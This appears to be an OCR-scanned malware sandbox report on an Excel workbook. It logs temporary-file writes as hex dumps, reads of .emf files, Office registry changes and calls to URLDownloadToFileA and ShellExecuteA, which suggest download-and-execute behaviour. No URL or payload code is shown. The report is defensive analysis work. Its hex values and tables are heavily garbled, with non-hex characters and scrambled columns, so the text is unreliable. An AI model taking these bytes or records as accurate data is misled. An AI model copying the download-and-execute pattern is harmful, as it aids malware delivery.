d4 7c 5f 3b 8a ca
2e fd b8 57 3e 7e
c0 02 8f 10 f2 ca

03 00

k%@:.d..F.
02000200 B |

success or wait

Source
Count Address

23 7FEEAC59ACO

Symbol

unknown

23 7FEEAC59ACO unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\050F0000 0 569 50 4b 03 04 14 PK......... L Foe success or wait 24 7FEEAC59ACO unknown
00 06 00 08 00 [Content_Types].xml ...
00 00 21 00 04 f8 (everevevereiarrieiciirinieians
aafde3010000 ...
2a 07 00 00 13
0008 02 5b 43 6f ...
6e 74 65 6e 74 5f .
5479 70 65 73
5d 2e 78 6d 6¢ 20 ...............
a2 04 02 28 a0
00 02 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
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File Path
C:\Users\user\AppData\Local\Temp\050F0000

Copyright null 2021

Offset
26831

Length Value

4096

ec 7d 7d 74 5c c5
95 67 bd d7 2d

b9 ad 2f b7 64 21
84 6d fO b3 2c ec

8c 6d 5a f2 07 32

b1 8d b0 1c d0 10 ...
ALRP1.P.ZP)..Z.Z.Z.....

27 ea 96 d4 96
da 96 a5 46 92

1d d9 21 dO b6
0551 72 58 46
61 bd 8e 42 d8
207348 a2 43
18 22 b2 1c 46 90
4c a6 ed 90 44 cb
3019 91 93 99
d1 cc fe 81 20 99
89 ce ce cc ae 38
13 4e 34 bb 93
68 7f bf aa 7a dd
4f ad 27 63 43 €6
63 cf 99 92 6f d7
ad 5fdd 7b eb 3
d5 ab 57 af 5e 79
fc cf 0a 27 2f bc
b4 ec 1d 91 el b6
Ob 8f f8 ed ec 62
91 ed c0 0d f0 24
e9 fc 42 98 60 48
bf 9d 9d 9d 95 18
7e c0 fe 87 fb ff
a8 06 7e 83 bc 2e
42 bb 85 40 5e
50 16 88 6d 9e
07 ba 1le b4 18
94 03 ca 05 bl

9d f3 el 17 80 ae
03 f9 41 85 a0 22
d0 52 50 31 e8
1a 50 09 e8 5a
50 29 c8 07 5a 06
5a Oe 5a 01 da
Ob aa 03 ad 04
6d 02 ad 02 95
8156 83 ca4l 37
82 d6 80

Ascii

J\.g..-../dlm..,.6vL..!.
mZ..2.......

Fa..B.sH.C."..F.L...D.0......
........ 8.N4..h...z.0.'cC.c..

b .$.B.H...
B.@"P..m...

ol MbsccoVocd A cos

Completion

success or wait

Source
Count Address

Symbol

9 7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\050F0000

Copyright null 2021

Offset
50332

Length Value

2653

89 50 4e 47 0d
Oa 1la Oa 00 00
00 0d 49 48 44
52 00 00 01 6b
00 00 00 ea 08
03 00 00 00 53
03 94 83 00 00
00 19 74 45 58
74 53 6f 66 74 77
61 72 65 00 41
64 6f 62 65 20 49
6d 61 67 65 52
6561 64 79 71 c9
65 3¢ 00 00 00 18
50 4c 54 45 ff ff ff
b0 b0 b0 d3 d4
d3 4b 49 4b 8f cc
e5 94 96 6 c9 d3
f9 84 84 85 f5 b7
Ob db 00 00 09
db 49 44 41 54
78 da ec 9d 09 62
a3 300c 45 2d 91
a2 fb df b8 de 11
60 a8 59 02 86
7e 66 da a6 24
93 68 le f6 b7 2c
ch c2 48 87 e3 9a
43 4c 67 1e 78 3¢
d4 68 b0 06 6b
b0 06 6b b0 06
6b b0 06 6b b0
06 6b b0 06 6b
b0 06 6b b0 06
eb ff ce 9a bb ce
9e ec 3a f6 df 84
fd ef 24 46 dc 03
fb 88 ¢8 90 b1 7f
ed 03 e6 f8 45 a7
98 c2 dd c7 74 f2
63 3fcc 7e 94 f4
f2 71 3fdc a7 fe
fc c9 fa 21 46 cf
cd f6 a7 29 3c 23
24 e26¢c14d3 9
ef cc d6 e4

PNG........ IHDR...k......... S success or wait

....... tEXtSoftware.Adobe

Imag
eReadyqg.e<....PLTE

1] RNSONRSNSRR—— IDATX....b

0.E-.....Y.~f.$.h.
H...CLg.x<.h..k..k..k.

K.k..

LELte? e~ IR

<#3$.l.......

Completion

Source
Count Address

Symbol

1 7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\050F0000

Copyright null 2021

Offset
56574

Length Value

1719

50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 04 f8 aa fd e3
01 00 00 2a 07
00 00 13 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
5b 43 6f 6e 74 65
6e 74 5f 54 79 70
65 73 5d 2e 78
6d 6¢ 50 4b 01 02
2d 00 14 00 06
00 08 00 00 00
21 00 b5 55 30
23 f5 00 00 00 4c
02 00 00 Ob 00
00 00 00 00 00
00 00 00 00 00
00 00 1c 04 00 00
5f 72 65 6¢ 73 2f
2e 72 65 6¢ 73

50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 16 15 88 97
1b 01 00 00 2b
03 00 00 1a 00
00 00 00 00 00
00 00 00 00 00
00 00 42 07 00
00 78 6¢ 2f 5f 72
65 6¢ 73 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢ 2e 72
65 6¢ 73 50 4b 01
02 2d 00 14 00
06 00 08 00 00
00 21 00 46 dc 98
8 80 02 00 00 Od
06 00 00 Of 00 00
00 00 00 00 00
00 00 00 00 00
00 9d 09 00 00
78 6¢ 2f 77 6f 72
6b 62 6f 6f 6b 2e
78 6d 6C

.............. B...xl/_rels/wor

kbook.xml.relsPK..

xl/workbook.xml

Symbol
7FEEAC59ACO unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\1008733.cvr unknown 1392 4d 53 51 4d 78 MSQMXx........ 15}, cccecomsansas success or wait 1 14080828C URLDownloadToFileA
0000000000 .g
0000e1352cf8 ...
0a000000f804 ...
00 00 02 00 00
00 00 00 Oe 00
67 1b 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 af 8e
03 26 f9 8 d6 01
0d 91 98 39 f9 e8
d6 01 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
03 00 00 01 00
00 00 00 00 00
00 00 00 00 00
02 00 00 00 01
00 00 00 56 80
00 00 03 00 00
00 45 58 43 45
00 00 00 00 04
00 00 00 ff ff ff ff
00 00 00 00 05
00 00 00 ff ff ff f
00 00 00 00 06
00 00 00 00 00
00 00 bc 00 00 00
3500 00 00 67

1b 00 00 00 00

00 00 3b 00 00

00 02 00 00 00

bc 00 00 00 3c 00

00 00 00 00 00

00 00 00 00 00

41 00 00 00 00

04 00 00 00 00

00 00 6¢ 00 00 00

00 00 00

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 1408 pending 1 7FEEACBFD74 unknown
Files\Content.MSO\831D50B4.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 88 pending 1 7FEEACBFD74 unknown
Files\Content.MSO\831D50B4.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content.MSO\3838D125.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\EAD45CE2.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\9BDCC37B.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 8192 success or wait 1 7FEEAC59ACO unknown
Files\Content.MSO\831D50B4.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 8192 end of file 1 7FEEAC59ACO unknown
Files\Content.MSO\831D50B4.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content.MSO\831D50B4.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 1408 pending 1 7FEEAC59ACO unknown
Files\Content.MSO\831D50B4.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet unknown 1408 success or wait 1 7FEEAC59ACO unknown
Files\Content. MSO\AFEA641.emf
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet 0 1408 pending 1 7FEEAC59ACO unknown

Files\Content.MSO\831D50B4.emf

Registry Activities

Key Created
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0

HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\FO4A2
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F254C
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F44DD
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Options

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

DefaultSheetR2L

UseSystemSeparators

ThousandsSeparator

DecimalSeparator

Max Display

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Item 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Item 14

Item 15

Type

dword

dword

unicode

unicode

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait
success or wait

success or wait

success or wait

Data

25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

P PR NN R R R R R B R

Source

Symbol

7FEEAC6E72B RegCreateKeyExA

7FEEAC6E72B RegCreateKeyExA

7FEEAC6E72B RegCreateKeyExA

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

Source

Count Address

1 14080828C

1 14080828C

1 14080828C

1 14080828C

1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO0
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO
1 7FEEAC59ACO

Symbol
ShellExecuteA

ShellExecuteA

ShellExecuteA

ShellExecuteA

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic Item 16 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [000000000]*C:\Users\user\Desk

top\9801086636.xIsx
HKEY_CURRENT_USER\Software\Mic Item 17 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [000000000]*C:\Users\user\Desk

top\7838756049.xIsx
HKEY_CURRENT_USER\Software\Mic Item 18 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [O00000000]*C:\Users\user\Desk

top\8416181845.xlsx
HKEY_CURRENT_USER\Software\Mic Item 19 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [000000000]*C:\Users\user\Desk

top\2874006916.xIsx
HKEY_CURRENT_USER\Software\Mic Item 20 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [O00000000]*C:\Users\user\Desk

top\9369051781.xlsx
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F04A2 binary 04 00 00 00 EC 07 00 00 38 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\FO4A2 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 62 00 65
00 66 00 6F 00 72 00 65 00 2E 00 31
00 2E 00 31 00 2E 00 30 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63
00 73 00 76 00 00 00 00 00 22 00 00
00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62
00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C
00 6F 00 63 00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70 00 5C 00 01 00
00 00 01 00 00 00 0B D8 B2 23 F9
E8 D6 01 A2 04 OF 00 A2 04 OF 00
00 00 00 00 B8 02 00 00 OA 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

HKEY_LOCAL_MACHINE\SOFTWARE\Mi ProductNonBootFilesIntl_ dword 1378615297 success or wait 1 7FEEAC59ACO unknown
crosoft\Windows\CurrentVersion 1033

\Installer\UserData\S-1-5-18\P

roducts\00004109E6009040010000

0000F01FEC\Usage

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
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Key Path

HKEY_CURRENT_USER\Software\Mic

rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Item 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F254C binary 04 00 00 00 EC 07 00 00 30 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\F254C 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 78 00
6C 00 73 00 6D 00 2E 00 73 00 68
00 65 00 65 00 74 00 2E 00 63 00 73
00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75
00 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00
00 01 00 00 00 B4 CE EE 2F F9 E8
D6 01 4C 25 OF 00 4C 25 OF 00 00
00 00 00 B8 02 00 00 66 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
